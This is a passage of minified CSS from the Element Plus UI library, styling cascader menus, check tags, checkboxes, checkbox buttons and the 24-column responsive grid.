translate(10px)}.el-transitioning{filter:url(#elCarouselHorizontal)}.el-transitioning-vertical{filter:url(#elCarouselVertical)}.el-cascader-panel{--el-cascader-menu-text-color:var(--el-text-color-regular);--el-cascader-menu-selected-text-color:var(--el-color-primary);--el-cascader-menu-fill:var(--el-bg-color-overlay);--el-cascader-menu-font-size:var(--el-font-size-base);--el-cascader-menu-radius:var(--el-border-radius-base);--el-cascader-menu-border:solid 1px var(--el-border-color-light);--el-cascader-menu-shadow:var(--el-box-shadow-light);--el-cascader-node-background-hover:var(--el-fill-color-light);--el-cascader-node-color-disabled:var(--el-text-color-placeholder);--el-cascader-color-empty:var(--el-text-color-placeholder);--el-cascader-tag-background:var(--el-fill-color);border-radius:var(--el-cascader-menu-radius);display:flex;font-size:var(--el-cascader-menu-font-size)}.el-cascader-panel.is-bordered{border:var(--el-cascader-menu-border);border-radius:var(--el-cascader-menu-radius)}.el-cascader-menu{border-right:var(--el-cascader-menu-border);box-sizing:border-box;color:var(--el-cascader-menu-text-color);min-width:180px}.el-cascader-menu:last-child{border-right:none}.el-cascader-menu:last-child .el-cascader-node{padding-right:20px}.el-cascader-menu__wrap.el-scrollbar__wrap{height:204px}.el-cascader-menu__list{box-sizing:border-box;list-style:none;margin:0;min-height:100%;padding:6px 0;position:relative}.el-cascader-menu__hover-zone{height:100%;left:0;pointer-events:none;position:absolute;top:0;width:100%}.el-cascader-menu__empty-text{align-items:center;color:var(--el-cascader-color-empty);display:flex;left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}.el-cascader-menu__empty-text .is-loading{margin-right:2px}.el-cascader-node{align-items:center;display:flex;height:34px;line-height:34px;outline:none;padding:0 30px 0 20px;position:relative}.el-cascader-node.is-selectable.in-active-path{color:var(--el-cascader-menu-text-color)}.el-cascader-node.in-active-path,.el-cascader-node.is-active,.el-cascader-node.is-selectable.in-checked-path{color:var(--el-cascader-menu-selected-text-color);font-weight:700}.el-cascader-node:not(.is-disabled){cursor:pointer}.el-cascader-node:not(.is-disabled):focus,.el-cascader-node:not(.is-disabled):hover{background:var(--el-cascader-node-background-hover)}.el-cascader-node.is-disabled{color:var(--el-cascader-node-color-disabled);cursor:not-allowed}.el-cascader-node__prefix{left:10px;position:absolute}.el-cascader-node__postfix{position:absolute;right:10px}.el-cascader-node__label{flex:1;overflow:hidden;padding:0 8px;text-align:left;text-overflow:ellipsis;white-space:nowrap}.el-cascader-node>.el-checkbox{margin-right:0}.el-cascader-node>.el-radio{margin-right:0}.el-cascader-node>.el-radio .el-radio__label{padding-left:0}.el-cascader{--el-cascader-menu-text-color:var(--el-text-color-regular);--el-cascader-menu-selected-text-color:var(--el-color-primary);--el-cascader-menu-fill:var(--el-bg-color-overlay);--el-cascader-menu-font-size:var(--el-font-size-base);--el-cascader-menu-radius:var(--el-border-radius-base);--el-cascader-menu-border:solid 1px var(--el-border-color-light);--el-cascader-menu-shadow:var(--el-box-shadow-light);--el-cascader-node-background-hover:var(--el-fill-color-light);--el-cascader-node-color-disabled:var(--el-text-color-placeholder);--el-cascader-color-empty:var(--el-text-color-placeholder);--el-cascader-tag-background:var(--el-fill-color);display:inline-block;font-size:var(--el-font-size-base);line-height:32px;outline:none;position:relative;vertical-align:middle}.el-cascader:not(.is-disabled):hover .el-input__wrapper{box-shadow:0 0 0 1px var(--el-input-hover-border-color) inset;cursor:pointer}.el-cascader .el-input{cursor:pointer;display:flex}.el-cascader .el-input .el-input__inner{cursor:pointer;text-overflow:ellipsis}.el-cascader .el-input .el-input__suffix-inner .el-icon{height:calc(100% - 2px)}.el-cascader .el-input .el-input__suffix-inner .el-icon svg{vertical-align:middle}.el-cascader .el-input .icon-arrow-down{font-size:14px;transition:transform var(--el-transition-duration)}.el-cascader .el-input .icon-arrow-down.is-reverse{transform:rotate(180deg)}.el-cascader .el-input .icon-circle-close:hover{color:var(--el-input-clear-hover-color,var(--el-text-color-secondary))}.el-cascader .el-input.is-focus .el-input__wrapper{box-shadow:0 0 0 1px var(--el-input-focus-border-color,var(--el-color-primary)) inset}.el-cascader--large{font-size:14px;line-height:40px}.el-cascader--small{font-size:12px;line-height:24px}.el-cascader.is-disabled .el-cascader__label{color:var(--el-disabled-text-color);z-index:calc(var(--el-index-normal) + 1)}.el-cascader__dropdown{--el-cascader-menu-text-color:var(--el-text-color-regular);--el-cascader-menu-selected-text-color:var(--el-color-primary);--el-cascader-menu-fill:var(--el-bg-color-overlay);--el-cascader-menu-font-size:var(--el-font-size-base);--el-cascader-menu-radius:var(--el-border-radius-base);--el-cascader-menu-border:solid 1px var(--el-border-color-light);--el-cascader-menu-shadow:var(--el-box-shadow-light);--el-cascader-node-background-hover:var(--el-fill-color-light);--el-cascader-node-color-disabled:var(--el-text-color-placeholder);--el-cascader-color-empty:var(--el-text-color-placeholder);--el-cascader-tag-background:var(--el-fill-color);border-radius:var(--el-cascader-menu-radius);font-size:var(--el-cascader-menu-font-size)}.el-cascader__dropdown.el-popper{background:var(--el-cascader-menu-fill);border:var(--el-cascader-menu-border)}.el-cascader__dropdown.el-popper .el-popper__arrow:before{border:var(--el-cascader-menu-border)}.el-cascader__dropdown.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-left-color:transparent;border-top-color:transparent}.el-cascader__dropdown.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent;border-right-color:transparent}.el-cascader__dropdown.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-bottom-color:transparent;border-left-color:transparent}.el-cascader__dropdown.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent;border-top-color:transparent}.el-cascader__dropdown.el-popper{box-shadow:var(--el-cascader-menu-shadow)}.el-cascader__tags{box-sizing:border-box;display:flex;flex-wrap:wrap;left:0;line-height:normal;position:absolute;right:30px;text-align:left;top:50%;transform:translateY(-50%)}.el-cascader__tags .el-tag{align-items:center;background:var(--el-cascader-tag-background);display:inline-flex;margin:2px 0 2px 6px;max-width:100%;text-overflow:ellipsis}.el-cascader__tags .el-tag:not(.is-hit){border-color:transparent}.el-cascader__tags .el-tag>span{flex:1;overflow:hidden;text-overflow:ellipsis}.el-cascader__tags .el-tag .el-icon-close{background-color:var(--el-text-color-placeholder);color:var(--el-color-white);flex:none}.el-cascader__tags .el-tag .el-icon-close:hover{background-color:var(--el-text-color-secondary)}.el-cascader__tags.is-validate{right:55px}.el-cascader__collapse-tags{white-space:normal;z-index:var(--el-index-normal)}.el-cascader__collapse-tags .el-tag{align-items:center;background:var(--el-fill-color);display:inline-flex;margin:2px 0 2px 6px;max-width:100%;text-overflow:ellipsis}.el-cascader__collapse-tags .el-tag:not(.is-hit){border-color:transparent}.el-cascader__collapse-tags .el-tag>span{flex:1;overflow:hidden;text-overflow:ellipsis}.el-cascader__collapse-tags .el-tag .el-icon-close{background-color:var(--el-text-color-placeholder);color:var(--el-color-white);flex:none}.el-cascader__collapse-tags .el-tag .el-icon-close:hover{background-color:var(--el-text-color-secondary)}.el-cascader__suggestion-panel{border-radius:var(--el-cascader-menu-radius)}.el-cascader__suggestion-list{color:var(--el-cascader-menu-text-color);font-size:var(--el-font-size-base);margin:0;max-height:204px;padding:6px 0;text-align:center}.el-cascader__suggestion-item{align-items:center;cursor:pointer;display:flex;height:34px;justify-content:space-between;outline:none;padding:0 15px;text-align:left}.el-cascader__suggestion-item:focus,.el-cascader__suggestion-item:hover{background:var(--el-cascader-node-background-hover)}.el-cascader__suggestion-item.is-checked{color:var(--el-cascader-menu-selected-text-color);font-weight:700}.el-cascader__suggestion-item>span{margin-right:10px}.el-cascader__empty-text{color:var(--el-cascader-color-empty);margin:10px 0}.el-cascader__search-input{background:transparent;border:none;box-sizing:border-box;color:var(--el-cascader-menu-text-color);flex:1;height:24px;margin:2px 0 2px 11px;min-width:60px;outline:none;padding:0}.el-cascader__search-input::-moz-placeholder{color:transparent}.el-cascader__search-input:-ms-input-placeholder{color:transparent}.el-cascader__search-input::placeholder{color:transparent}.el-check-tag{background-color:var(--el-color-info-light-9);border-radius:var(--el-border-radius-base);color:var(--el-color-info);cursor:pointer;display:inline-block;font-size:var(--el-font-size-base);font-weight:700;line-height:var(--el-font-size-base);padding:7px 15px;transition:var(--el-transition-all)}.el-check-tag:hover{background-color:var(--el-color-info-light-7)}.el-check-tag.is-checked.el-check-tag--primary{background-color:var(--el-color-primary-light-8);color:var(--el-color-primary)}.el-check-tag.is-checked.el-check-tag--primary:hover{background-color:var(--el-color-primary-light-7)}.el-check-tag.is-checked.el-check-tag--success{background-color:var(--el-color-success-light-8);color:var(--el-color-success)}.el-check-tag.is-checked.el-check-tag--success:hover{background-color:var(--el-color-success-light-7)}.el-check-tag.is-checked.el-check-tag--warning{background-color:var(--el-color-warning-light-8);color:var(--el-color-warning)}.el-check-tag.is-checked.el-check-tag--warning:hover{background-color:var(--el-color-warning-light-7)}.el-check-tag.is-checked.el-check-tag--danger{background-color:var(--el-color-danger-light-8);color:var(--el-color-danger)}.el-check-tag.is-checked.el-check-tag--danger:hover{background-color:var(--el-color-danger-light-7)}.el-check-tag.is-checked.el-check-tag--error{background-color:var(--el-color-error-light-8);color:var(--el-color-error)}.el-check-tag.is-checked.el-check-tag--error:hover{background-color:var(--el-color-error-light-7)}.el-check-tag.is-checked.el-check-tag--info{background-color:var(--el-color-info-light-8);color:var(--el-color-info)}.el-check-tag.is-checked.el-check-tag--info:hover{background-color:var(--el-color-info-light-7)}.el-checkbox-button{--el-checkbox-button-checked-bg-color:var(--el-color-primary);--el-checkbox-button-checked-text-color:var(--el-color-white);--el-checkbox-button-checked-border-color:var(--el-color-primary);display:inline-block;position:relative}.el-checkbox-button__inner{-webkit-appearance:none;background:var(--el-button-bg-color,var(--el-fill-color-blank));border:var(--el-border);border-left-color:transparent;border-radius:0;box-sizing:border-box;color:var(--el-button-text-color,var(--el-text-color-regular));cursor:pointer;display:inline-block;font-size:var(--el-font-size-base);font-weight:var(--el-checkbox-font-weight);line-height:1;margin:0;outline:none;padding:8px 15px;position:relative;text-align:center;transition:var(--el-transition-all);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;white-space:nowrap}.el-checkbox-button__inner.is-round{padding:8px 15px}.el-checkbox-button__inner:hover{color:var(--el-color-primary)}.el-checkbox-button__inner [class*=el-icon-]{line-height:.9}.el-checkbox-button__inner [class*=el-icon-]+span{margin-left:5px}.el-checkbox-button__original{margin:0;opacity:0;outline:none;position:absolute;z-index:-1}.el-checkbox-button.is-checked .el-checkbox-button__inner{background-color:var(--el-checkbox-button-checked-bg-color);border-color:var(--el-checkbox-button-checked-border-color);box-shadow:-1px 0 0 0 var(--el-color-primary-light-7);color:var(--el-checkbox-button-checked-text-color)}.el-checkbox-button.is-checked:first-child .el-checkbox-button__inner{border-left-color:var(--el-checkbox-button-checked-border-color)}.el-checkbox-button.is-disabled .el-checkbox-button__inner{background-color:var(--el-button-disabled-bg-color,var(--el-fill-color-blank));background-image:none;border-color:var(--el-button-disabled-border-color,var(--el-border-color-light));box-shadow:none;color:var(--el-disabled-text-color);cursor:not-allowed}.el-checkbox-button.is-disabled:first-child .el-checkbox-button__inner{border-left-color:var(--el-button-disabled-border-color,var(--el-border-color-light))}.el-checkbox-button:first-child .el-checkbox-button__inner{border-bottom-left-radius:var(--el-border-radius-base);border-left:var(--el-border);border-top-left-radius:var(--el-border-radius-base);box-shadow:none!important}.el-checkbox-button.is-focus .el-checkbox-button__inner{border-color:var(--el-checkbox-button-checked-border-color)}.el-checkbox-button:last-child .el-checkbox-button__inner{border-bottom-right-radius:var(--el-border-radius-base);border-top-right-radius:var(--el-border-radius-base)}.el-checkbox-button--large .el-checkbox-button__inner{border-radius:0;font-size:var(--el-font-size-base);padding:12px 19px}.el-checkbox-button--large .el-checkbox-button__inner.is-round{padding:12px 19px}.el-checkbox-button--small .el-checkbox-button__inner{border-radius:0;font-size:12px;padding:5px 11px}.el-checkbox-button--small .el-checkbox-button__inner.is-round{padding:5px 11px}.el-checkbox-group{font-size:0;line-height:0}.el-checkbox{--el-checkbox-font-size:14px;--el-checkbox-font-weight:var(--el-font-weight-primary);--el-checkbox-text-color:var(--el-text-color-regular);--el-checkbox-input-height:14px;--el-checkbox-input-width:14px;--el-checkbox-border-radius:var(--el-border-radius-small);--el-checkbox-bg-color:var(--el-fill-color-blank);--el-checkbox-input-border:var(--el-border);--el-checkbox-disabled-border-color:var(--el-border-color);--el-checkbox-disabled-input-fill:var(--el-fill-color-light);--el-checkbox-disabled-icon-color:var(--el-text-color-placeholder);--el-checkbox-disabled-checked-input-fill:var(--el-border-color-extra-light);--el-checkbox-disabled-checked-input-border-color:var(--el-border-color);--el-checkbox-disabled-checked-icon-color:var(--el-text-color-placeholder);--el-checkbox-checked-text-color:var(--el-color-primary);--el-checkbox-checked-input-border-color:var(--el-color-primary);--el-checkbox-checked-bg-color:var(--el-color-primary);--el-checkbox-checked-icon-color:var(--el-color-white);--el-checkbox-input-border-color-hover:var(--el-color-primary);align-items:center;color:var(--el-checkbox-text-color);cursor:pointer;display:inline-flex;font-size:var(--el-font-size-base);font-weight:var(--el-checkbox-font-weight);height:var(--el-checkbox-height,32px);margin-right:30px;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;white-space:nowrap}.el-checkbox.is-disabled{cursor:not-allowed}.el-checkbox.is-bordered{border:var(--el-border);border-radius:var(--el-border-radius-base);box-sizing:border-box;padding:0 15px 0 9px}.el-checkbox.is-bordered.is-checked{border-color:var(--el-color-primary)}.el-checkbox.is-bordered.is-disabled{border-color:var(--el-border-color-lighter)}.el-checkbox.is-bordered.el-checkbox--large{border-radius:var(--el-border-radius-base);padding:0 19px 0 11px}.el-checkbox.is-bordered.el-checkbox--large .el-checkbox__label{font-size:var(--el-font-size-base)}.el-checkbox.is-bordered.el-checkbox--large .el-checkbox__inner{height:14px;width:14px}.el-checkbox.is-bordered.el-checkbox--small{border-radius:calc(var(--el-border-radius-base) - 1px);padding:0 11px 0 7px}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__label{font-size:12px}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner{height:12px;width:12px}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner:after{height:6px;width:2px}.el-checkbox input:focus-visible+.el-checkbox__inner{border-radius:var(--el-checkbox-border-radius);outline:2px solid var(--el-checkbox-input-border-color-hover);outline-offset:1px}.el-checkbox__input{cursor:pointer;display:inline-flex;outline:none;position:relative;white-space:nowrap}.el-checkbox__input.is-disabled .el-checkbox__inner{background-color:var(--el-checkbox-disabled-input-fill);border-color:var(--el-checkbox-disabled-border-color);cursor:not-allowed}.el-checkbox__input.is-disabled .el-checkbox__inner:after{border-color:var(--el-checkbox-disabled-icon-color);cursor:not-allowed}.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner{background-color:var(--el-checkbox-disabled-checked-input-fill);border-color:var(--el-checkbox-disabled-checked-input-border-color)}.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner:after{border-color:var(--el-checkbox-disabled-checked-icon-color)}.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner{background-color:var(--el-checkbox-disabled-checked-input-fill);border-color:var(--el-checkbox-disabled-checked-input-border-color)}.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner:before{background-color:var(--el-checkbox-disabled-checked-icon-color);border-color:var(--el-checkbox-disabled-checked-icon-color)}.el-checkbox__input.is-disabled+span.el-checkbox__label{color:var(--el-disabled-text-color);cursor:not-allowed}.el-checkbox__input.is-checked .el-checkbox__inner{background-color:var(--el-checkbox-checked-bg-color);border-color:var(--el-checkbox-checked-input-border-color)}.el-checkbox__input.is-checked .el-checkbox__inner:after{border-color:var(--el-checkbox-checked-icon-color);transform:rotate(45deg) scaleY(1)}.el-checkbox__input.is-checked+.el-checkbox__label{color:var(--el-checkbox-checked-text-color)}.el-checkbox__input.is-focus:not(.is-checked) .el-checkbox__original:not(:focus-visible){border-color:var(--el-checkbox-input-border-color-hover)}.el-checkbox__input.is-indeterminate .el-checkbox__inner{background-color:var(--el-checkbox-checked-bg-color);border-color:var(--el-checkbox-checked-input-border-color)}.el-checkbox__input.is-indeterminate .el-checkbox__inner:before{background-color:var(--el-checkbox-checked-icon-color);content:"";display:block;height:2px;left:0;position:absolute;right:0;top:5px;transform:scale(.5)}.el-checkbox__input.is-indeterminate .el-checkbox__inner:after{display:none}.el-checkbox__inner{background-color:var(--el-checkbox-bg-color);border:var(--el-checkbox-input-border);border-radius:var(--el-checkbox-border-radius);box-sizing:border-box;display:inline-block;height:var(--el-checkbox-input-height);position:relative;transition:border-color .25s cubic-bezier(.71,-.46,.29,1.46),background-color .25s cubic-bezier(.71,-.46,.29,1.46),outline .25s cubic-bezier(.71,-.46,.29,1.46);width:var(--el-checkbox-input-width);z-index:var(--el-index-normal)}.el-checkbox__inner:hover{border-color:var(--el-checkbox-input-border-color-hover)}.el-checkbox__inner:after{border:1px solid transparent;border-left:0;border-top:0;box-sizing:content-box;content:"";height:7px;left:4px;position:absolute;top:1px;transform:rotate(45deg) scaleY(0);transform-origin:center;transition:transform .15s ease-in .05s;width:3px}.el-checkbox__original{height:0;margin:0;opacity:0;outline:none;position:absolute;width:0;z-index:-1}.el-checkbox__label{display:inline-block;font-size:var(--el-checkbox-font-size);line-height:1;padding-left:8px}.el-checkbox.el-checkbox--large{height:40px}.el-checkbox.el-checkbox--large .el-checkbox__label{font-size:14px}.el-checkbox.el-checkbox--large .el-checkbox__inner{height:14px;width:14px}.el-checkbox.el-checkbox--small{height:24px}.el-checkbox.el-checkbox--small .el-checkbox__label{font-size:12px}.el-checkbox.el-checkbox--small .el-checkbox__inner{height:12px;width:12px}.el-checkbox.el-checkbox--small .el-checkbox__input.is-indeterminate .el-checkbox__inner:before{top:4px}.el-checkbox.el-checkbox--small .el-checkbox__inner:after{height:6px;width:2px}.el-checkbox:last-of-type{margin-right:0}[class*=el-col-]{box-sizing:border-box}[class*=el-col-].is-guttered{display:block;min-height:1px}.el-col-0,.el-col-0.is-guttered{display:none}.el-col-0{flex:0 0 0%;max-width:0}.el-col-offset-0{margin-left:0}.el-col-pull-0{position:relative;right:0}.el-col-push-0{left:0;position:relative}.el-col-1{flex:0 0 4.1666666667%;max-width:4.1666666667%}.el-col-offset-1{margin-left:4.1666666667%}.el-col-pull-1{position:relative;right:4.1666666667%}.el-col-push-1{left:4.1666666667%;position:relative}.el-col-2{flex:0 0 8.3333333333%;max-width:8.3333333333%}.el-col-offset-2{margin-left:8.3333333333%}.el-col-pull-2{position:relative;right:8.3333333333%}.el-col-push-2{left:8.3333333333%;position:relative}.el-col-3{flex:0 0 12.5%;max-width:12.5%}.el-col-offset-3{margin-left:12.5%}.el-col-pull-3{position:relative;right:12.5%}.el-col-push-3{left:12.5%;position:relative}.el-col-4{flex:0 0 16.6666666667%;max-width:16.6666666667%}.el-col-offset-4{margin-left:16.6666666667%}.el-col-pull-4{position:relative;right:16.6666666667%}.el-col-push-4{left:16.6666666667%;position:relative}.el-col-5{flex:0 0 20.8333333333%;max-width:20.8333333333%}.el-col-offset-5{margin-left:20.8333333333%}.el-col-pull-5{position:relative;right:20.8333333333%}.el-col-push-5{left:20.8333333333%;position:relative}.el-col-6{flex:0 0 25%;max-width:25%}.el-col-offset-6{margin-left:25%}.el-col-pull-6{position:relative;right:25%}.el-col-push-6{left:25%;position:relative}.el-col-7{flex:0 0 29.1666666667%;max-width:29.1666666667%}.el-col-offset-7{margin-left:29.1666666667%}.el-col-pull-7{position:relative;right:29.1666666667%}.el-col-push-7{left:29.1666666667%;position:relative}.el-col-8{flex:0 0 33.3333333333%;max-width:33.3333333333%}.el-col-offset-8{margin-left:33.3333333333%}.el-col-pull-8{position:relative;right:33.3333333333%}.el-col-push-8{left:33.3333333333%;position:relative}.el-col-9{flex:0 0 37.5%;max-width:37.5%}.el-col-offset-9{margin-left:37.5%}.el-col-pull-9{position:relative;right:37.5%}.el-col-push-9{left:37.5%;position:relative}.el-col-10{flex:0 0 41.6666666667%;max-width:41.6666666667%}.el-col-offset-10{margin-left:41.6666666667%}.el-col-pull-10{position:relative;right:41.6666666667%}.el-col-push-10{left:41.6666666667%;position:relative}.el-col-11{flex:0 0 45.8333333333%;max-width:45.8333333333%}.el-col-offset-11{margin-left:45.8333333333%}.el-col-pull-11{position:relative;right:45.8333333333%}.el-col-push-11{left:45.8333333333%;position:relative}.el-col-12{flex:0 0 50%;max-width:50%}.el-col-offset-12{margin-left:50%}.el-col-pull-12{position:relative;right:50%}.el-col-push-12{left:50%;position:relative}.el-col-13{flex:0 0 54.1666666667%;max-width:54.1666666667%}.el-col-offset-13{margin-left:54.1666666667%}.el-col-pull-13{position:relative;right:54.1666666667%}.el-col-push-13{left:54.1666666667%;position:relative}.el-col-14{flex:0 0 58.3333333333%;max-width:58.3333333333%}.el-col-offset-14{margin-left:58.3333333333%}.el-col-pull-14{position:relative;right:58.3333333333%}.el-col-push-14{left:58.3333333333%;position:relative}.el-col-15{flex:0 0 62.5%;max-width:62.5%}.el-col-offset-15{margin-left:62.5%}.el-col-pull-15{position:relative;right:62.5%}.el-col-push-15{left:62.5%;position:relative}.el-col-16{flex:0 0 66.6666666667%;max-width:66.6666666667%}.el-col-offset-16{margin-left:66.6666666667%}.el-col-pull-16{position:relative;right:66.6666666667%}.el-col-push-16{left:66.6666666667%;position:relative}.el-col-17{flex:0 0 70.8333333333%;max-width:70.8333333333%}.el-col-offset-17{margin-left:70.8333333333%}.el-col-pull-17{position:relative;right:70.8333333333%}.el-col-push-17{left:70.8333333333%;position:relative}.el-col-18{flex:0 0 75%;max-width:75%}.el-col-offset-18{margin-left:75%}.el-col-pull-18{position:relative;right:75%}.el-col-push-18{left:75%;position:relative}.el-col-19{flex:0 0 79.1666666667%;max-width:79.1666666667%}.el-col-offset-19{margin-left:79.1666666667%}.el-col-pull-19{position:relative;right:79.1666666667%}.el-col-push-19{left:79.1666666667%;position:relative}.el-col-20{flex:0 0 83.3333333333%;max-width:83.3333333333%}.el-col-offset-20{margin-left:83.3333333333%}.el-col-pull-20{position:relative;right:83.3333333333%}.el-col-push-20{left:83.3333333333%;position:relative}.el-col-21{flex:0 0 87.5%;max-width:87.5%}.el-col-offset-21{margin-left:87.5%}.el-col-pull-21{position:relative;right:87.5%}.el-col-push-21{left:87.5%;position:relative}.el-col-22{flex:0 0 91.6666666667%;max-width:91.6666666667%}.el-col-offset-22{margin-left:91.6666666667%}.el-col-pull-22{position:relative;right:91.6666666667%}.el-col-push-22{left:91.6666666667%;position:relative}.el-col-23{flex:0 0 95.8333333333%;max-width:95.8333333333%}.el-col-offset-23{margin-left:95.8333333333%}.el-col-pull-23{position:relative;right:95.8333333333%}.el-col-push-23{left:95.8333333333%;position:relative}.el-col-24{flex:0 0 100%;max-width:100%}.el-col-offset-24{margin-left:100%}.el-col-pull-24{position:relative;right:100%}.el-col-push-24{left:100%;position:relative}@media only screen and (max-width:767px){.el-col-xs-0,.el-col-xs-0.is-guttered{display:none}.el-col-xs-0{flex:0 0 0%;max-width:0}.el-col-xs-offset-0{margin-left:0}.el-col-xs-pull-0{position:relative;right:0}.el-col-xs-push-0{left:0;position:relative}.el-col-xs-1{display:block;flex:0 0 4.1666666667%;max-width:4.1666666667%}.el-col-xs-offset-1{margin-left:4.1666666667%}.el-col-xs-pull-1{position:relative;right:4.1666666667%}.el-col-xs-push-1{left:4.1666666667%;position:relative}.el-col-xs-2{display:block;flex:0 0 8.3333333333%;max-width:8.3333333333%}.el-col-xs-offset-2{margin-left:8.3333333333%}.el-col-xs-pull-2{position:relative;right:8.3333333333%}.el-col-xs-push-2{left:8.3333333333%;position:relative}.el-col-xs-3{display:block;flex:0 0 12.5%;max-width:12.5%}.el-col-xs-offset-3{margin-left:12.5%}.el-col-xs-pull-3{position:relative;right:12.5%}.el-col-xs-push-3{left:12.5%;position:relative}.el-col-xs-4{display:block;flex:0 0 16.6666666667%;max-width:16.6666666667%}.el-col-xs-offset-4{margin-left:16.6666666667%}.el-col-xs-pull-4{position:relative;right:16.6666666667%}.el-col-xs-push-4{left:16.6666666667%;position:relative}.el-col-xs-5{display:block;flex:0 0 20.8333333333%;max-width:20.8333333333%}.el-col-xs-offset-5{margin-left:20.8333333333%}.el-col-xs-pull-5{position:relative;right:20.8333333333%}.el-col-xs-push-5{left:20.8333333333%;position:relative}.el-col-xs-6{display:block;flex:0 0 25%;max-width:25%}.el-col-xs-offset-6{margin-left:25%}.el-col-xs-pull-6{position:relative;right:25%}.el-col-xs-push-6{left:25%;position:relative}.el-col-xs-7{display:block;flex:0 0 29.1666666667%;max-width:29.1666666667%}.el-col-xs-offset-7{margin-left:29.1666666667%}.el-col-xs-pull-7{position:relative;right:29.1666666667%}.el-col-xs-push-7{left:29.1666666667%;position:relative}.el-col-xs-8{display:block;flex:0 0 33.3333333333%;max-width:33.3333333333%}.el-col-xs-offset-8{margin-left:33.3333333333%}.el-col-xs-pull-8{position:relative;right:33.3333333333%}.el-col-xs-push-8{left:33.3333333333%;position:relative}.el-col-xs-9{display:block;flex:0 0 37.5%;max-width:37.5%}.el-col-xs-offset-9{margin-left:37.5%}.el-col-xs-pull-9{position:relative;right:37.5%}.el-col-xs-push-9{left:37.5%;position:relative}.el-col-xs-10{display:block;flex:0 0 41.6666666667%;max-width:41.6666666667%}.el-col-xs-offset-10{margin-left:41.6666666667%}.el-col-xs-pull-10{position:relative;right:41.6666666667%}.el-col-xs-push-10{left:41.6666666667%;position:relative}.el-col-xs-11{display:block;flex:0 0 45.8333333333%;max-width:45.8333333333%}.el-col-xs-offset-11{margin-left:45.8333333333%}.el-col-xs-pull-11{position:relative;right:45.8333333333%}.el-col-xs-push-11{left:45.8333333333%;position:relative}.el-col-xs-12{display:block;flex:0 0 50%;max-width:50%}.el-col-xs-offset-12{margin-left:50%}.el-col-xs-pull-12{position:relative;right:50%}.el-col-xs-push-12{left:50%;position:relative}.el-col-xs-13{display:block;flex:0 0 54.1666666667%;max-width:54.1666666667%}.el-col-xs-offset-13{margin-left:54.1666666667%}.el-col-xs-pull-13{position:relative;right:54.1666666667%}.el-col-xs-push-13{left:54.1666666667%;position:relative}.el-col-xs-14{display:block;flex:0 0 58.3333333333%;max-width:58.3333333333%}.el-col-xs-offset-14{margin-left:58.3333333333%}.el-col-xs-pull-14{position:relative;right:58.3333333333%}.el-col-xs-push-14{left:58.3333333333%;position:relative}.el-col-xs-15{display:block;flex:0 0 62.5%;max-width:62.5%}.el-col-xs-offset-15{margin-left:62.5%}.el-col-xs-pull-15{position:relative;right:62.5%}.el-col-xs-push-15{left:62.5%;position:relative}.el-col-xs-16{display:block;flex:0 0 66.6666666667%;max-width:66.6666666667%}.el-col-xs-offset-16{margin-left:66.6666666667%}.el-col-xs-pull-16{position:relative;right:66.6666666667%}.el-col-xs-push-16{left:66.6666666667%;position:relative}.el-col-xs-17{display:block;flex:0 0 70.8333333333%;max-width:70.8333333333%}.el-col-xs-offset-17{margin-left:70.8333333333%}.el-col-xs-pull-17{position:relative;right:70.8333333333%}.el-col-xs-push-17{left:70.8333333333%;position:relative}.el-col-xs-18{display:block;flex:0 0 75%;max-width:75%}.el-col-xs-offset-18{margin-left:75%}.el-col-xs-pull-18{position:relative;right:75%}.el-col-xs-push-18{left:75%;position:relative}.el-col-xs-19{display:block;flex:0 0 79.1666666667%;max-width:79.1666666667%}.el-col-xs-offset-19{margin-left:79.1666666667%}.el-col-xs-pull-19{position:relative;right:79.1666666667%}.el-col-xs-push-19{left:79.1666666667%;position:relative}.el-col-xs-20{display:block;flex:0 0 83.3333333333%;max-width:83.3333333333%}.el-col-xs-offset-20{margin-left:83.3333333333%}.el-col-xs-pull-20{position:relative;right:83.3333333333%}.el-col-xs-push-20{left:83.3333333333%;position:relative}.el-col-xs-21{display:block;flex:0 0 87.5%;max-width:87.5%}.el-col-xs-offset-21{margin-left:87.5%}.el-col-xs-pull-21{position:relative;right:87.5%}.el-col-xs-push-21{left:87.5%;position:relative}.el-col-xs-22{display:block;flex:0 0 91.6666666667%;max-width:91.6666666667%}.el-col-xs-offset-22{margin-left:91.6666666667%}.el-col-xs-pull-22{position:relative;right:91.6666666667%}.el-col-xs-push-22{left:91.6666666667%;position:relative}.el-col-xs-23{display:block;flex:0 0 95.8333333333%;max-width:95.8333333333%}.el-col-xs-offset-23{margin-left:95.8333333333%}.el-col-xs-pull-23{position:relative;right:95.8333333333%}.el-col-xs-push-23{left:95.8333333333%;position:relative}.el-col-xs-24{display:block;flex:0 0 100%;max-width:100%}.el-col-xs-offset-24{margin-left:100%}.el-col-xs-pull-24{position:relative;right:100%}.el-col-xs-push-24{left:100%;position:relative}}@media only screen and (min-width:768px){.el-col-sm-0,.el-col-sm-0.is-guttered{display:none}.el-col-sm-0{flex:0 0 0%;max-width:0}.el-col-sm-offset-0{margin-left:0}.el-col-sm-pull-0{position:relative;right:0}.el-col-sm-push-0{left:0;position:relative}.el-col-sm-1{display:block;flex:0 0 4.1666666667%;max-width:4.1666666667%}.el-col-sm-offset-1{margin-left:4.1666666667%}.el-col-sm-pull-1{position:relative;right:4.1666666667%}.el-col-sm-push-1{left:4.1666666667%;position:relative}.el-col-sm-2{display:block;flex:0 0 8.3333333333%;max-width:8.3333333333%}.el-col-sm-offset-2{margin-left:8.3333333333%}.el-col-sm-pull-2{position:relative;right:8.3333333333%}.el-col-sm-push-2{left:8.3333333333%;position:relative}.el-col-sm-3{display:block;flex:0 0 12.5%;max-width:12.5%}.el-col-sm-offset-3{margin-left:12.5%}.el-col-sm-pull-3{position:relative;right:12.5%}.el-col-sm-push-3{left:12.5%;position:relative}.el-col-sm-4{display:block;flex:0 